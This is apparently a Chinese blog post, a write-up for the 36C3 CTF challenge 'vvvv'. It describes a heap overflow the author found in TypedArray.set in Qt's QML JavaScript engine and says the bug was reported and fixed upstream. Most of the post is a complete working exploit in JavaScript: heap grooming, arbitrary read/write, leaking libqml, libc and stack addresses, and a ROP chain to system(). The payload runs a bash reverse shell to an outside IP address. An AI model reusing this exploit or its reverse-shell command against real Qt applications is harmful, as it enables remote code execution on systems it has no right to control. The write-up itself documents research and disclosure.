36C3 CTF vvvv writeup 发表于 2019-12-31 | 分类于 漏洞利用 | 1 条评论 按照之前的惯例,每年最后一天写下C3CTF的writeup,今年搞定了一个题目[vvvv](https://2019.ctf.link/assets/files/vvvv-cc9085ea51e239dc.tar.xz),这是关于Qt的JS引擎的题目 ![][1] [1]: http://static.zybuluo.com/birdg0/twqhh6i0r8b0ayl84cugovzu/WX20191231-231927@2x.png [2]: http://static.zybuluo.com/birdg0/pswppue7s9d54tlm9tfmfl25/WX20191231-235412@2x.png 这个ZAJ分类感觉是需要让我们找0day?我通过代码审计找到了两个堆溢出漏洞,其中有一个是可利用的,然后比较幸运地拿到了FirstBlood ![][2] 我找到的漏洞是在`TypedArray`中,如下所示 ```cpp ReturnedValue IntrinsicTypedArrayPrototype::method_set(const FunctionObject *b, const Value *thisObject, const Value *argv, int argc) { Scope scope(b); Scoped a(scope, *thisObject); if (!a) return scope.engine->throwTypeError(); Scoped buffer(scope, a->d()->buffer); double doffset = argc >= 2 ? argv[1].toInteger() : 0; if (scope.engine->hasException) RETURN_UNDEFINED(); if (!buffer || buffer->isDetachedBuffer()) return scope.engine->throwTypeError(); if (doffset < 0 || doffset >= UINT_MAX) RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range"))); uint offset = (uint)doffset; uint elementSize = a->d()->type->bytesPerElement; Scoped srcTypedArray(scope, argv[0]); if (!srcTypedArray) { // src is a regular object ScopedObject o(scope, argv[0].toObject(scope.engine)); if (scope.engine->hasException || !o) return scope.engine->throwTypeError(); double len = ScopedValue(scope, o->get(scope.engine->id_length()))->toNumber(); uint l = (uint)len; if (scope.engine->hasException || l != len) return scope.engine->throwTypeError(); if (offset + l > a->length()) RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range"))); uint idx = 0; if (buffer->isDetachedBuffer()) return scope.engine->throwTypeError(); char *b = buffer->d()->data->data() + a->d()->byteOffset + offset*elementSize; ScopedValue val(scope); while (idx < l) { val = o->get(idx); if (scope.hasException()) return Encode::undefined(); val = val->convertedToNumber(); if (scope.hasException() || buffer->isDetachedBuffer()) return scope.engine->throwTypeError(); a->d()->type->write(b, val); if (scope.engine->hasException) RETURN_UNDEFINED(); ++idx; b += elementSize; } RETURN_UNDEFINED(); } ... } ``` PoC如下 ```javascript var a = new Array(0xffffffff); var b = new Uint32Array(0x100); b.set(a, 0x10); ``` 漏洞报告给官方后已经修复[https://code.qt.io/cgit/qt/qtdeclarative.git/commit/?id=2d566bb65def5b759bb4d93d767c4377bc6c5e0a](https://code.qt.io/cgit/qt/qtdeclarative.git/commit/?id=2d566bb65def5b759bb4d93d767c4377bc6c5e0a),full exploit如下 ```javascript var a = new Array(0xffffffff); var c = new Uint32Array(0x400); var b = new Array(0x1000); var d = new Array(0x1000); for (var i = 0; i < b.length; i++) { d[i] = new ArrayBuffer(0x1000+i); b[i] = new Uint8Array(d[i]); b[i][0] = 0x11; b[i][1] = 0x22; b[i][2] = 0x33; b[i][3] = 0x44; } a[0x3f6] = 0x1; a[0x3f7] = 0xffffffff; // size a[0x3f8] = 0xffffffff; a[0x3f9] = 0x6666; a[0x3fa] = 0x18; // offset_low a[0x3fb] = 0x0; // offset_high a[0x3fc] = 0x55555555; a[0x3fd] = { valueOf: function() { function write64(arr, idx, val) { for (var i = 0; i < 8; i++) { arr[idx+i] = val & 0xff; val /= 0x100; } } function read64(arr, idx) { val = 0 for (var i = 7; i >= 0; i--) { val = val * 0x100 + arr[idx+i] } return val; } var A, B, B_offset; for (var i = 0; i < b.length; i++) { if (b[i][0] == 0x55 && b[i][1] == 0x55 && b[i][2] == 0x55 && b[i][3] == 0x55) { print(i); A = new Uint8Array(d[i]); break; } } for (var i = 0; i < 0x10000; i += 8) { if (A[i] == 0x1 && A[i+0x10] == 0x18 && A[i+0x18] == 0x11 && A[i+0x19] == 0x22 && A[i+0x1a] == 0x33 && A[i+0x1b] == 0x44) { print(i.toString(16)); B_offset = i + 0x10; A[i+0x4] = 0xff; A[i+0x5] = 0xff; A[i+0x6] = 0xff; A[i+0x7] = 0xff; A[i+0x18] = 0x66; A[i+0x19] = 0x66; A[i+0x1a] = 0x66; A[i+0x1b] = 0x67; break; } } for (var i = 0; i < b.length; i++) { if (b[i][0] == 0x66 && b[i][1] == 0x66 && b[i][2] == 0x66 && b[i][3] == 0x67) { print(i); cmd = "bash -c 'bash&>/dev/tcp/39.100.97.31/66667<&1';"; for (var j = 0; j < cmd.length; j++) { b[i][j] = cmd.charCodeAt(j); } B_idx = i; B = new Uint8Array(d[i]); break; } } write64(A, B_offset, 0xffffffffffff0000); B.subarray(0, 1); var heap_to_js_heap_offset, vtable, libqml_base; for (var i = 0; i < 0x10000; i += 8) { if (B[i+1] == 0x4 && B[i+0x10-8] == 0xc0 && B[i+0x15-8] == 0x7f && B[i+0x61] == 0x4) { vtable = read64(B, i+8); libqml_base = vtable - 0x51f4c0; print('libqml_base: ' + libqml_base.toString(16)); break; } } var self_addr; write64(A, B_offset, 0xffffffffffff0000-0x2000); for (var i = 0; i < 0x10000; i += 8) { if (read64(B, i) == 0x0000000000000000 && read64(B, i+0x10) == 0x0000001200000001 && read64(B, i+0x18) == 0x0005000400000020) { self_addr = read64(B, i+0x40) + 0x12000 - i print('self_addr: ' + self_addr.toString(16)); break; } } write64(A, B_offset, libqml_base + 0x51c998 - self_addr); var memmove = read64(B, 0); print('memmove: ' + memmove.toString(16)); var temp, libc_base; for (var i = 0; i < 0x40000; i++) { write64(A, B_offset, memmove - i * 8 - self_addr); temp = read64(B, 0); if (temp == 0x03010102464c457f) { libc_base = memmove - i * 8; break; } } print('libc_base: ' + libc_base.toString(16)); write64(A, B_offset, libc_base + 0x1c5d00 - self_addr); var stack_addr = read64(B, 0); print('stack_addr: ' + stack_addr.toString(16)); var system = libc_base + 0x491c0; var pop_rdi = libc_base + 0x2762d; var ret_addr = stack_addr - 0x9c0; write64(A, B_offset, ret_addr - self_addr); write64(B, 0, pop_rdi); write64(A, B_offset, ret_addr + 8 - self_addr); write64(B, 0, self_addr+0x18); write64(A, B_offset, ret_addr + 0x10 - self_addr); write64(B, 0, self_addr+0x18); write64(A, B_offset, ret_addr + 0x18 - self_addr); write64(B, 0, system); return 0xdeadbeef; } }; c.set(a, 0x10); ```
你好,我们的博客重名了,很想认识你,